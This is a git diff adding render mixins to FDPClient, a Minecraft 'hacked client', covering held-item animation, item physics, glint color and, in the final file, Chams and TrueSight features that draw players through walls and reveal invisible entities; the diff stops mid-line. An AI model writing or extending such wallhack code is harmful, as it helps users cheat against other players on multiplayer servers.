diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerHeldItem.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerHeldItem.java new file mode 100644 index 0000000..f152d7b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerHeldItem.java @@ -0,0 +1,94 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.block.Block; +import net.minecraft.client.Minecraft; +import net.minecraft.client.model.ModelBiped; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.block.model.ItemCameraTransforms; +import net.minecraft.client.renderer.entity.RendererLivingEntity; +import net.minecraft.client.renderer.entity.layers.LayerHeldItem; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.init.Items; +import net.minecraft.item.Item; +import net.minecraft.item.ItemBlock; +import net.minecraft.item.ItemStack; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; + +import java.util.UUID; + +@Mixin(LayerHeldItem.class) +public class MixinLayerHeldItem { + + @Shadow + @Final + private RendererLivingEntity<?> livingEntityRenderer; + + /** + * @author CCBlueX + */ + @Overwrite + public void doRenderLayer(EntityLivingBase entitylivingbaseIn, float p_177141_2_, float p_177141_3_, float partialTicks, float p_177141_5_, float p_177141_6_, float p_177141_7_, float scale) { + ItemStack itemstack = entitylivingbaseIn.getHeldItem(); + + if(itemstack != null) { + GlStateManager.pushMatrix(); + + if(this.livingEntityRenderer.getMainModel().isChild) { + float f = 0.5F; + GlStateManager.translate(0.0F, 0.625F, 0.0F); + GlStateManager.rotate(-20.0F, -1.0F, 0.0F, 0.0F); + GlStateManager.scale(f, f, f); + } + + final UUID uuid = entitylivingbaseIn.getUniqueID(); + final EntityPlayer entityplayer = Minecraft.getMinecraft().theWorld.getPlayerEntityByUUID(uuid); + + if(entityplayer != null && entityplayer.isBlocking()) { + if(entitylivingbaseIn.isSneaking()) { + ((ModelBiped) this.livingEntityRenderer.getMainModel()).postRenderArm(0.0325F); + GlStateManager.translate(-0.58F, 0.3F, -0.2F); + GlStateManager.rotate(-24390.0F, 137290.0F, -2009900.0F, -2054900.0F); + }else{ + ((ModelBiped) this.livingEntityRenderer.getMainModel()).postRenderArm(0.0325F); + GlStateManager.translate(-0.48F, 0.2F, -0.2F); + GlStateManager.rotate(-24390.0F, 137290.0F, -2009900.0F, -2054900.0F); + } + }else{ + ((ModelBiped) this.livingEntityRenderer.getMainModel()).postRenderArm(0.0625F); + } + + GlStateManager.translate(-0.0625F, 0.4375F, 0.0625F); + + if(entitylivingbaseIn instanceof EntityPlayer && ((EntityPlayer) entitylivingbaseIn).fishEntity != null) { + itemstack = new ItemStack(Items.fishing_rod, 0); + } + + Item item = itemstack.getItem(); + Minecraft minecraft = Minecraft.getMinecraft(); + + if(item instanceof ItemBlock && Block.getBlockFromItem(item).getRenderType() == 2) { + GlStateManager.translate(0.0F, 0.1875F, -0.3125F); + GlStateManager.rotate(20.0F, 1.0F, 0.0F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float f1 = 0.375F; + GlStateManager.scale(-f1, -f1, f1); + } + + if(entitylivingbaseIn.isSneaking()) { + GlStateManager.translate(0.0F, 0.203125F, 0.0F); + } + + minecraft.getItemRenderer().renderItem(entitylivingbaseIn, itemstack, ItemCameraTransforms.TransformType.THIRD_PERSON); + GlStateManager.popMatrix(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerSpiderEyes.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerSpiderEyes.java new file mode 100644 index 0000000..7ec7c6a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerSpiderEyes.java @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.entity.layers.LayerSpiderEyes; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(LayerSpiderEyes.class) +public class MixinLayerSpiderEyes { + @Inject(method = "doRenderLayer(Lnet/minecraft/entity/monster/EntitySpider;FFFFFFF)V", at = @At("TAIL")) + private void fixDepth(CallbackInfo ci) { + GlStateManager.depthMask(true); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerWitherAura.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerWitherAura.java new file mode 100644 index 0000000..ce3519d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerWitherAura.java @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.entity.layers.LayerWitherAura; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(LayerWitherAura.class) +public class MixinLayerWitherAura { + @Inject(method = "doRenderLayer(Lnet/minecraft/entity/boss/EntityWither;FFFFFFF)V", at = @At("TAIL")) + private void fixDepth(CallbackInfo ci) { + GlStateManager.depthMask(true); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelBiped.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelBiped.java new file mode 100644 index 0000000..76af197 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelBiped.java @@ -0,0 +1,55 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.Rotations; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import net.ccbluex.liquidbounce.utils.RotationUtils; +import net.minecraft.client.model.ModelBiped; +import net.minecraft.client.model.ModelRenderer; +import net.minecraft.entity.Entity; +import net.minecraft.entity.player.EntityPlayer; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.util.Objects; + +import static net.ccbluex.liquidbounce.utils.MinecraftInstance.mc; + +@Mixin(ModelBiped.class) +public abstract class MixinModelBiped { + + /** + * The Biped right arm. + */ + @Shadow + public ModelRenderer bipedRightArm; + + /** + * The Held item right. + */ + @Shadow + public int heldItemRight; + + /** + * The Biped head. + */ + @Shadow + public ModelRenderer bipedHead; + + @Inject(method = "setRotationAngles", at = @At(value = "FIELD", target = "Lnet/minecraft/client/model/ModelBiped;swingProgress:F")) + private void revertSwordAnimation(float p_setRotationAngles_1_, float p_setRotationAngles_2_, float p_setRotationAngles_3_, float p_setRotationAngles_4_, float p_setRotationAngles_5_, float p_setRotationAngles_6_, Entity p_setRotationAngles_7_, CallbackInfo callbackInfo) { + if (heldItemRight == 3) bipedRightArm.rotateAngleY = 0F; + + if (Rotations.INSTANCE.shouldRotate() && p_setRotationAngles_7_ instanceof EntityPlayer && p_setRotationAngles_7_.equals(mc.thePlayer)) { + bipedHead.rotateAngleX = (float) Math.toRadians(Rotations.INSTANCE.lerp(mc.timer.renderPartialTicks, Rotations.INSTANCE.getPrevHeadPitch(), Rotations.INSTANCE.getHeadPitch())); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelSkeleton.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelSkeleton.java new file mode 100644 index 0000000..5119ef7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelSkeleton.java @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.model.ModelBiped; +import net.minecraft.client.model.ModelSkeleton; +import org.spongepowered.asm.mixin.Mixin; + +@Mixin(ModelSkeleton.class) +public class MixinModelSkeleton extends ModelBiped { + + @Override + public void postRenderArm(float scale) { + this.bipedRightArm.rotationPointX++; + this.bipedRightArm.postRender(scale); + this.bipedRightArm.rotationPointX--; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelVillager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelVillager.java new file mode 100644 index 0000000..a915f41 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinModelVillager.java @@ -0,0 +1,16 @@ + +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.model.ModelVillager; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.Constant; +import org.spongepowered.asm.mixin.injection.ModifyConstant; + +@Mixin(ModelVillager.class) +public class MixinModelVillager { + + @ModifyConstant(method = "<init>(FFII)V", constant = @Constant(intValue = 18)) + private int changeTextureHeight(int original) { + return 20; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRegionRenderCache.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRegionRenderCache.java new file mode 100644 index 0000000..43afd94 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRegionRenderCache.java @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; +import org.spongepowered.asm.mixin.injection.callback.LocalCapture; + +import net.minecraft.block.state.IBlockState; +import net.minecraft.client.renderer.RegionRenderCache; +import net.minecraft.util.BlockPos; + +@Mixin(RegionRenderCache.class) +public class MixinRegionRenderCache { + + @Shadow + @Final + private static IBlockState DEFAULT_STATE; + + @Shadow + private IBlockState[] blockStates; + + @Inject(method = "getBlockState", at = @At(value = "FIELD", target = "Lnet/minecraft/client/renderer/RegionRenderCache;blockStates:[Lnet/minecraft/block/state/IBlockState;", ordinal = 0, shift = At.Shift.AFTER), locals = LocalCapture.CAPTURE_FAILSOFT, cancellable = true) + private void getBlockState(BlockPos pos, CallbackInfoReturnable<IBlockState> cir, int positionIndex) { + if (positionIndex < 0 || positionIndex >= this.blockStates.length) { + cir.setReturnValue(DEFAULT_STATE); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRender.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRender.java new file mode 100644 index 0000000..0fbe728 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRender.java @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.entity.Render; +import net.minecraft.client.renderer.entity.RenderManager; +import net.minecraft.entity.Entity; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(Render.class) +public abstract class MixinRender { + @Shadow + protected abstract <T extends Entity> boolean bindEntityTexture(T entity); + + @Redirect(method={"renderLivingLabel(Lnet/minecraft/entity/Entity;Ljava/lang/String;DDDI)V"}, at=@At(value="FIELD", target="Lnet/minecraft/client/renderer/entity/RenderManager;playerViewX:F")) + private float renderLivingLabel(RenderManager renderManager) { + return Minecraft.getMinecraft().gameSettings.thirdPersonView == 2 ? -renderManager.playerViewX : renderManager.playerViewX; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderEntityItem.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderEntityItem.java new file mode 100644 index 0000000..effbdee --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderEntityItem.java @@ -0,0 +1,111 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.Chams; +import net.ccbluex.liquidbounce.features.module.modules.visual.ItemPhysics; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.block.model.ItemCameraTransforms; +import net.minecraft.client.renderer.entity.Render; +import net.minecraft.client.renderer.entity.RenderEntityItem; +import net.minecraft.client.renderer.entity.RenderManager; +import net.minecraft.client.resources.model.IBakedModel; +import net.minecraft.entity.item.EntityItem; +import net.minecraft.item.Item; +import net.minecraft.item.ItemStack; +import net.minecraft.util.MathHelper; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(RenderEntityItem.class) +public abstract class MixinRenderEntityItem extends Render<EntityItem> { + protected MixinRenderEntityItem(final RenderManager p_i46179_1_) { + super(p_i46179_1_); + } + + @Shadow + protected abstract int func_177078_a(final ItemStack p0); + + + @Inject(method = "doRender", at = @At("HEAD")) + private void injectChamsPre(CallbackInfo callbackInfo) { + final Chams chams = FDPClient.moduleManager.getModule(Chams.class); + + if (chams.getState() && chams.getItemsValue().get()) { + GL11.glEnable(GL11.GL_POLYGON_OFFSET_FILL); + GL11.glPolygonOffset(1.0F, -1000000F); + } + } + + @Inject(method = "doRender", at = @At("RETURN")) + private void injectChamsPost(CallbackInfo callbackInfo) { + final Chams chams = FDPClient.moduleManager.getModule(Chams.class); + + if (chams.getState() && chams.getItemsValue().get()) { + GL11.glPolygonOffset(1.0F, 1000000F); + GL11.glDisable(GL11.GL_POLYGON_OFFSET_FILL); + } + } + + @Overwrite + private int func_177077_a(EntityItem itemIn, double p_177077_2_, double p_177077_4_, double p_177077_6_, float p_177077_8_, IBakedModel p_177077_9_) + { + final ItemPhysics itemPhysics = FDPClient.moduleManager.getModule(ItemPhysics.class); + ItemStack itemstack = itemIn.getEntityItem(); + Item item = itemstack.getItem(); + + if (item == null || itemPhysics == null) + { + return 0; + } + else + { + boolean flag = p_177077_9_.isGui3d(); + int i = this.func_177078_a(itemstack); + float f = 0.25F; + float f1 = MathHelper.sin(((float)itemIn.getAge() + p_177077_8_) / 10.0F + itemIn.hoverStart) * 0.1F + 0.1F; + if (itemPhysics.getState()) { + f1 = 0.0f; + } + float f2 = p_177077_9_.getItemCameraTransforms().getTransform(ItemCameraTransforms.TransformType.GROUND).scale.y; + GlStateManager.translate((float)p_177077_2_, (float)p_177077_4_ + f1 + 0.25F * f2, (float)p_177077_6_); + + if (flag || this.renderManager.options != null) + { + float f3 = (((float)itemIn.getAge() + p_177077_8_) / 20.0F + itemIn.hoverStart) * (180F / (float)Math.PI); + if (itemPhysics.getState()) { + if (itemIn.onGround) { + GL11.glRotatef(itemIn.rotationYaw, 0.0f, 1.0f, 0.0f); + GL11.glRotatef(itemIn.rotationPitch + 90.0f, 1.0f, 0.0f, 0.0f); + } else { + for (int a = 0; a < 10; ++a) { + GL11.glRotatef(f3, itemPhysics.getItemWeight().get(), itemPhysics.getItemWeight().get(), 0.0f); + } + } + } else { + GlStateManager.rotate(f3, 0.0F, 1.0F, 0.0F); + } + } + + if (!flag) + { + float f6 = -0.0F * (float)(i - 1) * 0.5F; + float f4 = -0.0F * (float)(i - 1) * 0.5F; + float f5 = -0.046875F * (float)(i - 1) * 0.5F; + GlStateManager.translate(f6, f4, f5); + } + + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + return i; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderItem.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderItem.java new file mode 100644 index 0000000..c194e79 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderItem.java @@ -0,0 +1,29 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.Glint; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.renderer.entity.RenderItem; +import net.minecraft.client.resources.model.IBakedModel; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.Redirect; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.awt.*; + +@Mixin(RenderItem.class) +public abstract class MixinRenderItem { + + @Shadow + protected abstract void renderModel(IBakedModel model, int color); + + @Redirect(method = "renderEffect", at = @At(value="INVOKE", target="Lnet/minecraft/client/renderer/entity/RenderItem;renderModel(Lnet/minecraft/client/resources/model/IBakedModel;I)V")) + private void renderModel(RenderItem renderItem, IBakedModel model, int color) { + Glint glint = FDPClient.moduleManager.getModule(Glint.class); + this.renderModel(model, glint.getState() ? glint.getColor().getRGB() : -8372020); + } +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderManager.java new file mode 100644 index 0000000..deb1a61 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderManager.java @@ -0,0 +1,28 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.utils.RotationUtils; +import net.minecraft.client.renderer.entity.RenderManager; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +import static org.objectweb.asm.Opcodes.PUTFIELD; + +@Mixin(RenderManager.class) +public class MixinRenderManager { + + @Redirect(method = "cacheActiveRenderInfo", at = @At(value = "FIELD", target = "Lnet/minecraft/client/renderer/entity/RenderManager;playerViewX:F", opcode = PUTFIELD)) + public void getPlayerViewX(RenderManager renderManager, float value) { + renderManager.playerViewX = RotationUtils.perspectiveToggled ? RotationUtils.cameraPitch : value; + } + + @Redirect(method = "cacheActiveRenderInfo", at = @At(value = "FIELD", target = "Lnet/minecraft/client/renderer/entity/RenderManager;playerViewY:F", opcode = PUTFIELD)) + public void getPlayerViewY(RenderManager renderManager, float value) { + renderManager.playerViewY = RotationUtils.perspectiveToggled ? RotationUtils.cameraYaw : value; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderPlayer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderPlayer.java new file mode 100644 index 0000000..a68fab6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRenderPlayer.java @@ -0,0 +1,18 @@ +/* + * ZAVZ Hacked Client + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.model.ModelPlayer; +import net.minecraft.client.renderer.entity.RenderPlayer; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(RenderPlayer.class) +public class MixinRenderPlayer { + @Redirect(method = "renderRightArm", at = @At(value = "FIELD", target = "Lnet/minecraft/client/model/ModelPlayer;isSneak:Z", ordinal = 0)) + private void resetArmState(ModelPlayer modelPlayer, boolean value) { + modelPlayer.isRiding = modelPlayer.isSneak = false; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRendererLivingEntity.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRendererLivingEntity.java new file mode 100644 index 0000000..0c368a5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinRendererLivingEntity.java @@ -0,0 +1,212 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.Chams; +import net.ccbluex.liquidbounce.features.module.modules.visual.NameTags; +import net.ccbluex.liquidbounce.features.module.modules.visual.TrueSight; +import net.ccbluex.liquidbounce.utils.EntityUtils; +import net.ccbluex.liquidbounce.utils.render.ColorUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.model.ModelBase; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.OpenGlHelper; +import net.minecraft.client.renderer.entity.RenderManager; +import net.minecraft.client.renderer.entity.RendererLivingEntity; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.util.EnumChatFormatting; +import net.minecraft.util.MathHelper; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.Redirect; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.awt.*; + +@Mixin(RendererLivingEntity.class) +public abstract class MixinRendererLivingEntity extends MixinRender { + + @Shadow + protected ModelBase mainModel; + + @Shadow + protected <T extends EntityLivingBase> float getDeathMaxRotation(T p_getDeathMaxRotation_1_) { + return 90.0F; + } + + @Overwrite + protected <T extends EntityLivingBase> void rotateCorpse(T p_rotateCorpse_1_, float p_rotateCorpse_2_, float p_rotateCorpse_3_, float p_rotateCorpse_4_) { + GlStateManager.rotate(180.0F - p_rotateCorpse_3_, 0.0F, 1.0F, 0.0F); + if (p_rotateCorpse_1_.deathTime > 0) { + float f = ((float)p_rotateCorpse_1_.deathTime + p_rotateCorpse_4_ - 1.0F) / 20.0F * 1.6F; + f = MathHelper.sqrt_float(f); + if (f > 1.0F) { + f = 1.0F; + } + + GlStateManager.rotate(f * this.getDeathMaxRotation(p_rotateCorpse_1_), 0.0F, 0.0F, 1.0F); + } else { + String s = EnumChatFormatting.getTextWithoutFormattingCodes(p_rotateCorpse_1_.getName()); + } + } + + + @Inject(method = "doRender", at = @At("HEAD")) + private <T extends EntityLivingBase> void injectChamsPre(T entity, double x, double y, double z, float entityYaw, float partialTicks, CallbackInfo callbackInfo) { + final Chams chams = FDPClient.moduleManager.getModule(Chams.class); + + if (chams.getState() && chams.getTargetsValue().get() && chams.getLegacyMode().get() && ((chams.getLocalPlayerValue().get() && entity == Minecraft.getMinecraft().thePlayer) || EntityUtils.INSTANCE.isSelected(entity, false))) { + GL11.glEnable(GL11.GL_POLYGON_OFFSET_FILL); + GL11.glPolygonOffset(1.0F, -1000000F); + } + } + + @Inject(method = "doRender", at = @At("RETURN")) + private <T extends EntityLivingBase> void injectChamsPost(T entity, double x, double y, double z, float entityYaw, float partialTicks, CallbackInfo callbackInfo) { + final Chams chams = FDPClient.moduleManager.getModule(Chams.class); + + if (chams.getState() && chams.getTargetsValue().get() && chams.getLegacyMode().get() && ((chams.getLocalPlayerValue().get() && entity == Minecraft.getMinecraft().thePlayer) || EntityUtils.INSTANCE.isSelected(entity, false)) + ) { + GL11.glPolygonOffset(1.0F, 1000000F); + GL11.glDisable(GL11.GL_POLYGON_OFFSET_FILL); + } + } + + @Inject(method = "canRenderName", at = @At("HEAD"), cancellable = true) + private <T extends EntityLivingBase> void canRenderName(T entity, CallbackInfoReturnable<Boolean> callbackInfoReturnable) { + + if ((FDPClient.moduleManager.getModule(NameTags.class).getState() && EntityUtils.INSTANCE.isSelected(entity, false))) + callbackInfoReturnable.setReturnValue(false); + } + + /** + * @author CCBlueX + */ + @Inject(method = "renderModel", at = @At("HEAD"), cancellable = true) + protected <T extends EntityLivingBase> void renderModel(T p_renderModel_1_, float p_renderModel_2_, float p_renderModel_3_, float p_renderModel_4_, float p_renderModel_5_, float p_renderModel_6_, float p_renderModel_7_, CallbackInfo ci) { + boolean visible = !p_renderModel_1_.isInvisible(); + final Chams chams = FDPClient.moduleManager.getModule(Chams.class); + final TrueSight trueSight = FDPClient.moduleManager.getModule(TrueSight.class); + boolean chamsFlag = (chams.getState() && chams.getTargetsValue().get() && !chams.getLegacyMode().get() && ((chams.getLocalPlayerValue().get() && p_renderModel_1_ == Minecraft.getMinecraft().thePlayer) || EntityUtils.INSTANCE.isSelected(p_renderModel_1_, false))); + boolean semiVisible = !visible && (!p_renderModel_1_.isInvisibleToPlayer(Minecraft.getMinecraft().thePlayer) || (trueSight.getState() && trueSight.getEntitiesValue().get())); + + if(visible || semiVisible) { + if(!this.bindEntityTexture(p_renderModel_1_)) + return; + + if(semiVisible) { + GlStateManager.pushMatrix(); + GlStateManager.color(1.0F, 1.0F, 1.0F, 0.15F); + GlStateManager.depthMask(false); + GlStateManager.enableBlend(); + GlStateManager.blendFunc(770, 771); + GlStateManager.alphaFunc(516, 0.003921569F); + } + + final int blend = 3042; + final int depth = 2929; + final int srcAlpha = 770; + final int srcAlphaPlus1 = srcAlpha + 1; + final int polygonOffsetLine = 10754; + final int texture2D = 3553; + final int lighting = 2896; + + boolean textured = chams.getTexturedValue().get(); + + Color chamsColor = new Color(0x00000000); + + switch (chams.getColorModeValue().get()) { + case "Custom": + chamsColor = new Color(chams.getRedValue().get(), chams.getGreenValue().get(), chams.getBlueValue().get()); + break; + case "Slowly": + chamsColor = ColorUtils.slowlyRainbow(System.nanoTime(), 0, chams.getSaturationValue().get(), chams.getBrightnessValue().get()); + break; + case "Fade": + chamsColor = ColorUtils.fade(new Color(chams.getRedValue().get(), chams.getGreenValue().get(), chams.getBlueValue().get(), chams.getAlphaValue().get()), 0, 100); + break; + } + + chamsColor = ColorUtils.reAlpha(chamsColor, chams.getAlphaValue().get()); + + if (chamsFlag) { + Color chamsColor2 = new Color(0x00000000); + + switch (chams.getBehindColorModeValue().get()) { + case "Same": + chamsColor2 = chamsColor; + break; + case "Opposite": + chamsColor2 = ColorUtils.getOppositeColor(chamsColor); + break; + case "Red": + chamsColor2 = new Color(0xffEF2626); + break; + } + + GL11.glPushMatrix(); + GL11.glEnable(polygonOffsetLine); + GL11.glPolygonOffset(1.0F, 1000000.0F); + OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, 240.0F, 240.0F); + + if (!textured) { + GL11.glEnable(blend); + GL11.glDisable(texture2D); + GL11.glDisable(lighting); + GL11.glBlendFunc(srcAlpha, srcAlphaPlus1); + GL11.glColor4f(chamsColor2.getRed() / 255.0F, chamsColor2.getGreen() / 255.0F, chamsColor2.getBlue() / 255.0F, chamsColor2.getAlpha() / 255.0F); + } + + GL11.glDisable(depth); + GL11.glDepthMask(false); + } + + this.mainModel.render(p_renderModel_1_, p_renderModel_2_, p_renderModel_3_, p_renderModel_4_, p_renderModel_5_, p_renderModel_6_, p_renderModel_7_); + + if (chamsFlag) { + GL11.glEnable(depth); + GL11.glDepthMask(true); + + if (!textured) { + GL11.glColor4f(chamsColor.getRed() / 255.0F, chamsColor.getGreen() / 255.0F, chamsColor.getBlue() / 255.0F, chamsColor.getAlpha() / 255.0F); + } + + this.mainModel.render(p_renderModel_1_, p_renderModel_2_, p_renderModel_3_, p_renderModel_4_, p_renderModel_5_, p_renderModel_6_, p_renderModel_7_); + + if (!textured) { + GL11.glEnable(texture2D); + GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F); + GL11.glDisable(blend); + GL11.glEnable(lighting); + } + + GL11.glPolygonOffset(1.0f, -1000000.0f); + GL11.glDisable(polygonOffsetLine); + GL11.glPopMatrix(); + } + + if (semiVisible) { + GlStateManager.disableBlend(); + GlStateManager.alphaFunc(516, 0.1F); + GlStateManager.popMatrix(); + GlStateManager.depthMask(true); + } + } + + ci.cancel(); + } + + @Redirect(method={"renderName(Lnet/minecraft/entity/EntityLivingBase;DDD)V"}, at=@At(value="FIELD", 